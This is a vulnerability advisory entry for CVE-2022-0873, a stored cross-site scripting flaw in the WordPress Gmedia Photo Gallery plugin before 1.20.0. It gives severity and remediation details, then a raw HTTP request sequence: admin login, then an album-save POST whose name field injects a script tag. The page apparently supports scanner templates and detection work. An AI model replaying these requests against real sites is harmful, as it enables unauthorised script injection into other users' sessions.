| Title | WordPress Gmedia Photo Gallery Plugin < 1.20.0 - Cross-Site Scripting |
|---|---|
| Author | ritikchaddha |
| Severity | Medium |
| Impact | Successful exploitation could allow an attacker with high privileges, such as admin, to inject arbitrary JavaScript or HTML in the context of other users who view affected posts and pages, potentially leading to session hijacking, defacement, or other malicious actions. |
| Remediation | Update the Gmedia Photo Gallery plugin to version 1.20.0 or later to mitigate this vulnerability. |
| CVSS Score | 4.8 |
| EPSS Score | 0.00859 |
| CVE ID | CVE-2022-0873 |
| CWE ID | CWE-79 |
| Tags | cve cve2022 wp wordpress wp-plugin gmedia xss authenticated |
The Gmedia Photo Gallery WordPress plugin before 1.20.0 does not sanitise and escape the album’s name before outputting it in pages or posts with a media embed, which could allow high privilege users such as admin to perform Cross-Site Scripting (XSS) attacks even when the unfiltered-html capability is disallowed. (CVE-2022-0873)
POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.7.20) Gecko/ Firefox/3.6.9
Connection: close
Content-Length: 51
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_test_cookie=WP%20Cookie%20check
Origin: /
Accept-Encoding: gzip
log=t8eZht&pwd=iLctkN&wp-submit=Log+In&testcookie=1
GET /wp-admin/admin.php?page=GrandMedia_Albums HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
Connection: close
Accept-Encoding: gzip
POST /wp-admin/admin.php?page=GrandMedia_Albums HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0
Connection: close
Content-Length: 408
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
term[name]=79ki'><script>alert(document.domain)</script>&term[description]=&term[meta][_orderby]=ID&term[meta][_order]=DESC&term[meta][_module_preset]=&term[global]=1&term[status]=publish&_wp_original_http_referer=http://www.victim.com/wp-admin/admin.php?page=GrandMedia_AddMedia&_wpnonce_terms=NiEJIv&_wp_http_referer=/wp-admin/admin.php?page=GrandMedia_Albums&term[taxonomy]=gmedia_album&gmedia_album_save=
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-0873.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-0873.pcap
N/AN/A